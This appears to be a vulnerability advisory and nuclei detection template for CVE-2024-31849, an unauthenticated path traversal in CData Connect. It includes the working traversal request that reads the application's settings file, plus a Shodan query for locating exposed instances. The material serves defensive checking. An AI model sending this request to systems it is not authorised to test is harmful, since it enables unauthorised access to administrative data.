CData Connect < 23.4.8846 - Path Traversal

criticalseverity

9.8CVSS score

6.1%likelihood of exploitation, next 30 days

93%of all CVEs are less likely

Readycheck to confirm it

A path traversal vulnerability exists in the Java version of CData Connect < 23.4.8846 when running using the embedded Jetty server, which could allow an unauthenticated remote attacker to gain complete administrative access to the application.

Impact

Unauthenticated attackers can exploit path traversal to gain complete administrative access to CData Connect.

Fix

Update CData Connect to version 23.4.8846 or later.

How to confirm it

Send: GET {{BaseURL}}/login.rst
Positive when: contains "CData - Connect"
Send: GET /ui/..\src\getSettings.rsb?@json
Positive when: contains "\"items\":[{" and ":\"true\"" and "notifyemail" AND contains in header "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2024-31849 -u <target>

The full check

id: CVE-2024-31849

info:
  name: CData Connect < 23.4.8846 - Path Traversal
  author: DhiyaneshDK
  severity: critical
  description: |
    A path traversal vulnerability exists in the Java version of CData Connect < 23.4.8846 when running using the embedded Jetty server, which could allow an unauthenticated remote attacker to gain complete administrative access to the application.
  impact: |
    Unauthenticated attackers can exploit path traversal to gain complete administrative access to CData Connect.
  remediation: |
    Update CData Connect to version 23.4.8846 or later.
  reference:
    - https://www.tenable.com/security/research/tra-2024-09
    - https://www.cdata.com/kb/entries/jetty-cve-0324.rst
    - https://nvd.nist.gov/vuln/detail/CVE-2024-31849
    - https://github.com/Ostorlab/KEV
    - https://github.com/Stuub/CVE-2024-31848-PoC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-31849
    cwe-id: CWE-22
    epss-score: 0.06076
    epss-percentile: 0.93458
  metadata:
    verified: true
    max-request: 2
    shodan-query: "title:\"CData Connect\""
  tags: cve,cve2024,cdata,lfi,vuln
flow: http(1) && http(2)

http:
  - method: GET
    path:
      - '{{BaseURL}}/login.rst'

    matchers:
      - type: word
        internal: true
        words:
          - 'CData - Connect'

  - raw:
      - |
        GET /ui/..\src\getSettings.rsb?@json HTTP/1.1
        Host: {{Hostname}}
        Referer: {{RootURL}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"items":[{'
          - ':"true"'
          - 'notifyemail'
        condition: and

      - type: word
        part: header
        words:
          - 'application/json'

      - type: status
        status:
          - 200

References

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